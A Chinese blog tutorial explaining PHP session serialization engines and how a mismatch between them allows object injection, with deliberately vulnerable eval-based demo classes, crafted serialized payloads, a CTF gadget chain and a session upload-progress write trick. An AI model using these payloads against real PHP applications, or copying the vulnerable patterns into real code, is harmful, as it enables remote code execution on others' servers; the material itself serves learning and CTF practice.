Php学习之SESSION反序列化机制

php.ini 中存在三项配置项:
  session.save_path="" -- 设置 session 的存储路径
  session.save_handler="" -- 设定用户自定义存储函数,如果想使用 PHP 语言 内置会话存储机制之外的可以使用本函数( 数据库等方式 )
  session.auto_start boolen -- 指定会话模块是否在请求开始时启动一个会话 , 默认为 0 不启动
  session.serialize_handler  string -- 定义用来序列化 / 反序列化的处理器名字。默认使用 php
  以上的选项就是与PHP 中的 Session 存储和序列话存储有关的选项。
  在使用xampp 组件安装中,上述的配置项的设置如下:
  session.save_path="D:\xampp\tmp"  表明所有的 session 文件都是存储在 xampp/tmp
  session.save_handler= files  表明session 是以文件的方式来进行存储的
  session.auto_start=0  表明默认不启动 session
  session.serialize_handler=php  表明 session 的默认序列话引擎使用的是 php 序列话引擎
  在上述的配置中,  session.serialize_handler  是用来设置session 的序列话引擎的,除了默认的 PHP 引擎之外,还存在其他引擎,不同的引擎所对应的 session 的存储方式不相同。
  · php_binary: 存储方式是,键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
  · php: 存储方式是,键名 + 竖线 + 经过 serialize() 函数序列处理的值
  · php_serialize(php>5.5.4): 存储方式是,经过 serialize() 函数序列化处理的值
  在PHP 中默认使用的是 PHP 引擎,如果要修改为其他的引擎,只需要添加代码 ini_set('session.serialize_handler', '需要设置的引擎');  。示例代码如下:
  
  ini_set('session.serialize_handler', 'php_serialize');
  session_start();
  //  do something
   存储机制
  php 中的 session 中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项 session.save_handler  来进行确定的,默认是以文件的方式存储。
  存储的文件是以  sess_sessionid  来进行命名的,文件的内容就是session 值的序列话之后的内容。
  假设我们的环境是xampp ,那么默认配置如上所述。
  在默认配置情况下:
  
  session_start()
  $_SESSION['name'] = 'spoock';
  var_dump();
  ?>
  最后的session 的存储和显示如下:
Php学习之SESSION反序列化机制_第1张图片
  可以看到PHPSESSID 的值是  jo86ud4jfvu81mbg28sl2s56c2  ,而在  xampp/tmp  下存储的文件名是 sess_jo86ud4jfvu81mbg28sl2s56c2  ,文件的内容是  name|s:6:"spoock";  name 是键值,  s:6:"spoock";  serialize("spoock")  的结果。
  在php_serialize 引擎下:
  
  ini_set('session.serialize_handler', 'php_serialize');
  session_start();
  $_SESSION['name'] = 'spoock';
  var_dump();
  ?>
  SESSION 文件的内容是  a:1:{s:4:"name";s:6:"spoock";}    a:1  是使用php_serialize 进行序列话都会加上。同时使用 php_serialize 会将 session 中的 key value 都会进行序列化。
  在php_binary 引擎下:
  
  ini_set('session.serialize_handler', 'php_binary');
  session_start();
  $_SESSION['name'] = 'spoock';
  var_dump();
  ?>
  SESSION 文件的内容是  names:6:"spoock";  。由于  name  的长度是4 4 ASCII 表中对应的就是  EOT  。根据php_binary 的存储规则,最后就是  names:6:"spoock"; ( 突然发现 ASCII 的值为 4 的字符无法在网页上面显示,这个大家自行去查 ASCII 表吧 )
   序列化简单利用
  test.php
  
  class syclover{
   var $func="";
   function  __construct() {
   $this->func = "phpinfo()";
  }
   function  __wakeup(){
   eval( $this->func);
  }
  }
  unserialize($_GET['a']);
  ?>
  在11 行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为 syclover 的一个示例,那么就可以执行 eval() 方法。我们访问  localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}  。那么反序列化得到的内容是:
   object(syclover)[1]
  public 'func' => string 'echo "spoock";' (length=14)
  最后页面输出的就是spoock ,说明最后执行了我们定义的  echo "spoock";  方法。
  这就是一个简单的序列化的漏洞的演示
   PHP Session中的序列化危害
  PHP 中的 Session 的实现是没有的问题,危害主要是由于程序员的 Session 使用不当而引起的。
  如果在PHP 在反序列化存储的 $_SESSION 数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如 :
  $_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';
  上述的$_SESSION 的数据使用  php_serialize  ,那么最后的存储的内容就是  a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";} 
  但是我们在进行读取的时候,选择的是  php  ,那么最后读取的内容是:
   array (size=1)
  'a:1:{s:6:"spoock";s:24:"' =>
   object(__PHP_Incomplete_Class)[1]
   public '__PHP_Incomplete_Class_Name' =>  string 'PeopleClass' (length=11)
  这是因为当使用php 引擎的时候, php 引擎会以  |  作为作为key value 的分隔符,那么就会将  a:1:{s:6:"spoock";s:24:"  作为SESSION key ,将  O:11:"PeopleClass":0:{}  作为value ,然后进行反序列化,最后就会得到 PeopleClas 这个类。
  这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session 序列话漏洞的原因。
   实际利用
  存在s1.php us2.php 2 个文件所使用的 SESSION 的引擎不一样,就形成了一个漏洞、
  s1.php ,使用 php_serialize 来处理 session
  
  ini_set('session.serialize_handler', 'php_serialize');
  session_start();
  $_SESSION["spoock"]=$_GET["a"];
  us2.php, 使用 php 来处理 session
  ini_set('session.serialize_handler', 'php');
  session_start();
   class  lemon {
   var $hi;
   function  __construct(){
   $this->hi = 'phpinfo();';
  }
   function  __destruct() {
   eval( $this->hi);
  }
  }
  当访问s1.php 时,提交如下的数据:
  localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
  此时传入的数据会按照  php_serialize  来进行序列化。
  此时访问us2.php 时,页面输出,  spoock  成功执行了我们构造的函数。因为在访问us2.php 时,程序会按照  php 来反序列化SESSION 中的数据,此时就会反序列化伪造的数据,就会实例化 lemon 对象,最后就会执行析构函数中的 eval() 方法。
   CTF
  在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:
  class.php
  
  highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
  //show_source(__FILE__);
  class foo1{
  public $varr;
   function  __construct(){
  $this->varr = "index.php";
  }
   function  __destruct(){
   if(file_exists($this->varr)){
  echo "
文件".$this->varr." 存在
";
  }
  echo "
这是foo1 的析构函数
";
  }
  }
  class foo2{
  public $varr;
  public $obj;
   function  __construct(){
  $this->varr = '1234567890';
  $this->obj = null;
  }
   function  __toString(){
  $this->obj->execute();
  return $this->varr;
  }
   function  __desctuct(){
  echo "
这是foo2 的析构函数
";
  }
  }
  class foo3{
  public $varr;
   function  execute(){
  eval($this->varr);
  }
   function  __desctuct(){
  echo "
这是foo3 的析构函数
";
  }
  }
  ?>
  index.php
  
  ini_set('session.serialize_handler', 'php');
   require("./class.php");
  session_start();
  $obj =  new foo1();
  $obj->varr = "phpinfo.php";
  ?>
  通过代码发现,我们最终是要通过foo3 中的 execute 来执行我们自定义的函数。
  那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
  myindex.php
  
  class foo3{
   public $varr='echo "spoock";';
   function  execute(){
   eval( $this->varr);
  }
  }
   class  foo2{
   public $varr;
   public $obj;
   function  __construct(){
   $this->varr = '1234567890';
   $this->obj =  new foo3();
  }
   function  __toString(){
   $this->obj->execute();
   return  $this->varr;
  }
  }
   class  foo1{
   public $varr;
   function  __construct(){
   $this->varr =  new foo2();
  }
  }
  $obj =  new foo1();
  print_r(serialize($obj));
  ?>
  在foo1 中的构造函数中定义 $varr 的值为 foo2 的实例,在 foo2 中定义 $obj foo3 的实例,在 foo3 中定义 $varr 的值为 echo "spoock"  。最终得到的序列话的值是
   O:4:"foo1":1:{ s:4:"varr"; O:4:"foo2":2:{s:4:"varr"; s:10:"1234567890"; s:3:"obj"; O:4:"foo3":1:{s:4:"varr"; s:14:"echo "spoock";";}}}
  这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php ,最终就会执行我们预先定义的  echo "spoock";  的方法了。
  写入的方式主要是利用PHP 中  Session Upload Progress  来进行设置,具体为,在上传文件时,如果POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS 的变量,就可以将 filename 的值赋值到 session 中,上传的页面的写法如下:
  
窗体顶端
窗体底端
  type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
  type="file" name="file" />
  type="submit" />
  
  最后就会将文件名写入到session 中,具体的实现细节可以参考 PHP 手册。
  那么最终写入的文件名是  |O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}  。注意与本地反序列化不一样的地方是要在最前方加上  |
  但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。
   总结
  通过对PHP 中的 SESSION 的分析,对 PHP 中的 SESSION 的实现原理有了更加深刻的认识。这个 PHP SESSION 问题也是一个很好的问题。上述的这篇文章不仅使大家 PHP 中的 SESSION 的序列化漏洞有一个认识,也有助于程序员加强在 PHP 中的 SESSION 机制的理解。
文章来源:乘物游心

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